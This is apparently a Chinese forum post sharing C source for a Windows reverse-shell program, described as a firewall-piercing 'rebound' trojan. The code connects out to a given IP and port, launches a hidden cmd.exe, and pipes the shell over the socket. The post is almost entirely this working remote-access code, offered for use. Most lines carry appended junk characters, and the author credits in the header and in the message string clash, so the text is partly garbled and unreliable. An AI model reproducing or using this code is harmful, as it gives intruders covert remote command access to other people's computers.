这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ``ekR6[ 8c
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/* ============================== qz4^{
Rebound port in Windows NT ^[Cv26
By wind,2006/7 LflFe@2
===============================*/ _ .i3,-l)
#include
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#include (wmBjQ]B<
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#pragma comment(lib,"wsock32.lib") fQ+VT|jzx
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void OutputShell(); *=Z26
SOCKET sClient; gqib:q;r
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #<( = }?
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void main(int argc,char **argv) d+iR/Ssc
{ bU 63X={
WSADATA stWsaData; 6B$q,"%S@
int nRet; @&1Wyp
SOCKADDR_IN stSaiClient,stSaiServer; <b+[<@wS
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if(argc != 3) BcA31%
{ J` {6l
printf("Useage:\n\rRebound DestIP DestPort\n"); pO<-.,
return; URcR
} !0/z>#b
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6)]f6p&e
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $N$ FtpB
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stSaiClient.sin_family = AF_INET; RaSz>-3d
stSaiClient.sin_port = htons(0); (B>Zaro#
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); E&
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) PBks`
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{ @E`?<|B}
printf("Bind Socket Failed!\n"); VS?@y/\In
return; (g :p5Rl
} 2>S~I"o0
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stSaiServer.sin_family = AF_INET; BH0!6Oq
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); UkR3}{i
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *.y' (tj[
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1H:ea7YVU
{ p}]q d4j
printf("Connect Error!"); QF-)^`N
return; AZFWuPJo
} o6j"OZcv
OutputShell(); &J"YsY
} &yH#s
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void OutputShell() "2n;3ByR
{ [ET6(_=b
char szBuff[1024]; '\p;y7N
SECURITY_ATTRIBUTES stSecurityAttributes; 4 9w=kzo
OSVERSIONINFO stOsversionInfo; eVnbRT2y&
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; EHf)^]Z
STARTUPINFO stStartupInfo; z<C[nR$N
char *szShell; _[E \=
PROCESS_INFORMATION stProcessInformation; ;?6>mh(`
unsigned long lBytesRead; "!&B4
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \v`#|lT$
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `ENP=kL(+
stSecurityAttributes.lpSecurityDescriptor = 0; j)D-BK&+
stSecurityAttributes.bInheritHandle = TRUE; {Qtq7q.
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 9G:TW|)L[Q
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Gj6. Iv
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }z'DWp=uN
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yKDZ+3xK]
stStartupInfo.wShowWindow = SW_HIDE; Z H-5Qy_
stStartupInfo.hStdInput = hReadPipe; .)ST[G]WK
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; J/S{FxNe]
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GetVersionEx(&stOsversionInfo); R#0{Wg0O)
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switch(stOsversionInfo.dwPlatformId) *( *z|2
{ yisLypM*
case 1: hPPB45^
szShell = "command.com"; T'R,vxP)\
break; IIP.yyh>
default: :VFTVmr
szShell = "cmd.exe"; uu3M{*}
break; F50JJZ
} Ygx,t|?7
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9r8D*PvS
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send(sClient,szMsg,77,0); Q [:<S/w
while(1) %]GV+!3S
{ ;Vo mFp L
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 66dTs,C
if(lBytesRead) j)Lo'&Y~=
{ CgoXZX
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); BvI 0v:
send(sClient,szBuff,lBytesRead,0); qL>v&Rd<
} cyb(\ fsC
else _Y7:!-n}
{ {_Np<r;j<
lBytesRead=recv(sClient,szBuff,1024,0); gUb
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if(lBytesRead<=0) break; ~ a>S#S
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); h&$Py
} LT&/0
} IdmD.k0pJ
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return; hOn
}